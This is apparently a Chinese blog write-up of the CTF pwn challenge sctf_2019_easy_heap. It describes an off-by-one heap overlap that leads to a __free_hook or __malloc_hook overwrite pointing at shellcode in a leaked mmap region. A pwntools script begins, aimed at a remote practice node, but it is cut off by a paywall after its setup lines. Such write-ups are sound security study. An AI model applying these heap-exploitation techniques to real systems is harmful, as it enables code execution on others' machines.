sctf_2019_easy_heap

保护全开,所以又只能修改__malloc_hook,或者说__free_hook了。
函数分析:
main函数


add函数

Free函数

Edit函数


下面的函数中有一个off-by-one的漏洞,所以我们可以很自然的想到overlap
思路
首先,程序在运行的时候泄露了一段Mmap的地址,至于给了一个地址,那一定是有用的东西,这里可以思考,是不是可以直接往里面写一段shellcode,然后把__free_hook或者说__malloc_hook改成前面的Mmap的地址里,就可以getshell。
然后就是add完了之后,会给一个heap的地址,也就是说按照一般思路我们可以少泄露一个地址。
这里既然限制了chunk的数量,那么说要存留一个main_arena附近的值最好就是用large_bin了,又快又好用。用完overlap之后,直接用修改两个小chunk的fd,让他能指向自己想要的地方。
# -*- coding: UTF-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
local_file = './sctf_2019_easy_heap'
libc = ELF('/home/yjc/Desktop/Libc/U18/libc-2.27-64.so')
select = 1
if select == 0:
p = process(local_file)
#gdb.attach(p)
else:
p = remote('node4.buuoj.cn',29641)
#libc = ELF(remote_libc)
elf = ELF(local_file)
def

本文介绍了sctf_2019_easy_heap挑战的解决思路,由于保护全开,只能通过修改__malloc_hook或__free_hook。存在off-by-one漏洞,可以利用overlap技术。通过泄露的Mmap地址,将__free_hook或__malloc_hook指向shellcode所在的内存区域,从而获取shell。文章详细分析了main、add、Free和Edit函数,并提出了利用大型bin快速实现目标的策略。
最低0.47元/天 解锁文章
1496

被折叠的 条评论
为什么被折叠?



